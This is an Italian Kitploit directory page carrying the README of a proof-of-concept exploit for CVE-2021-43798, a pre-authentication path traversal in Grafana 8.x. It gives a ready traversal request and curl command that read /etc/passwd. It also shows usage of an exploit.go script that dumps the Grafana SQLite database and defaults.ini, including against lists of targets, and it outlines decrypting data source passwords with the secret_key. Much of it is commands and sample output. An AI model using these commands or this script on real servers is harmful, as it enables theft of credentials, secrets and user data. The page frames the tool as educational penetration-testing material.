Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2021-43798 — CVE-2021-43798 - Grafana 8.x Path Traversal (pre-autenticazione) | Kitploit
Strumenti/GitHubGitHub/taythebot/cve-2021-43798
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingApprendimento e Formazione
GitHubtaythebot/cve-2021-43798

CVE-2021-43798

CVE-2021-43798 - Grafana 8.x Path Traversal (pre-autenticazione)

Vedi Repository
41814 anni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2021-43798

Grafana 8.x Path Traversal (pre-autenticazione)

Tutti i crediti vanno a j0v e al suo tweet https://twitter.com/j0v0x0/status/1466845212626542607

Disclaimer

Questo è solo a scopo educativo. Non sono responsabile per le tue azioni. Usalo a tua discrezione.

In buona fede, ho trattenuto il rilascio di questo PoC finché questa vulnerabilità non fosse pubblica o fosse disponibile una patch.

Indice

  • Spiegazione - Spiegazione della vulnerabilità
  • Vettori di attacco - Elenco degli attacchi che puoi effettuare
  • Script di exploit - Utilizzo dello script di exploit

Spiegazione

Ho notato un tweet di j0v in cui si afferma di aver trovato un bug di path traversal in Grafana. Per curiosità, ho iniziato a guardare il codice sorgente di Grafana. Nel tweet si menzionava che era un bug pre-autenticazione. Ci sono solo un paio di endpoint API pubblici in Grafana, e solo uno di questi accettava un percorso file dall'utente.

Grafana ha un endpoint API pubblico, /public/plugins/:pluginId, che consente di visualizzare le risorse di un plugin. Funziona fornendo un :pluginId valido e poi specificando il percorso del file, come . Tuttavia, Grafana non riesce a sanificare il percorso file fornito dall'utente, portando a path traversal.

img/logo.png

La directory a cui si accede è <grafana>/public/app/plugins/panel/<pluginId>. In un'installazione standard di Grafana, la directory dei dati di Grafana è /usr/share/grafana. Quindi, tornando indietro di 8 directory, puoi raggiungere la directory root del filesystem.

Richiesta HTTP:

root@kitploit:~
GET -  http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

Codice incriminato: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284

Nota: non funziona nel browser (che comprime automaticamente i ../ nel percorso)

Può essere testato con curl usando l'argomento --path-as-is:

root@kitploit:~
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd

Vettori di attacco

Questi sono alcuni attacchi che possono essere effettuati usando questa vulnerabilità.

Dump del database Sqlite

Grafana, per impostazione predefinita, usa un database sqlite3. Questo è archiviato in /var/lib/grafana/grafana.db. Puoi usare lo script exploit.go per fare il dump di questo database.

Esempio:

root@kitploit:~
go run exploit.go -target http://localhost:3000 -dump-database -output grafana.db

Puoi quindi leggere questo database per ottenere utenti, token di autenticazione e sorgenti dati.

Dump del file di configurazione defaults.ini

Grafana memorizza la sua configurazione in un file <grafana>/conf/defaults.ini. Ci sono un paio di valori interessanti qui, come secret_key, host, user, password se si usa mysql invece di sqlite3.

Esempio:

root@kitploit:~
go run exploit.go -target http://localhost:3000 -dump-config -output defaults.ini

Riferimento: https://grafana.com/docs/grafana/latest/administration/configuration/

Decrittare le password delle sorgenti dati

Grafana cifra tutte le password delle sorgenti dati usando AES-256-CBC con la secret_key nel file di configurazione defaults.ini. Possiamo fare il dump di questo file di configurazione, come mostrato sopra, e poi decrittare i valori dal database.

Riferimento: https://grafana.com/docs/grafana/latest/administration/configuration/#secret_key

Furto di sessione

Grafana memorizza i token di sessione nella tabella auth_tokens. Non sono riuscito a impossessarmi di una sessione, ma se leggi il codice sorgente, potresti capire come fare.

Script di exploit

Esempio

root@kitploit:~
root@localhost:/# go run exploit.go -target http://localhost:3000 -file /etc/passwd
CVE-2021-43798  - Grafana 8.x Path Traversal (Pre-Auth)
Made by Tay (https://github.com/taythebot)

[INFO] Exploiting target http://localhost:3000
[INFO] Successfully exploited target http://localhost:3000
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin

Singolo target

root@kitploit:~
go run exploit.go -target <target> -file <path>

Output su file

root@kitploit:~
go run exploit.go -target <target> -file <path> -output <file>

Nota: non funziona con più target

Target multipli

root@kitploit:~
go run exploit.go -list <list> -file <path>

Dump di defaults.ini

root@kitploit:~
go run exploit.go -target <target> -dump-config

Dump del database sqlite3

root@kitploit:~
go run exploit.go -target <target> -dump-database

Compilazione

root@kitploit:~
make build
Scarica lo strumento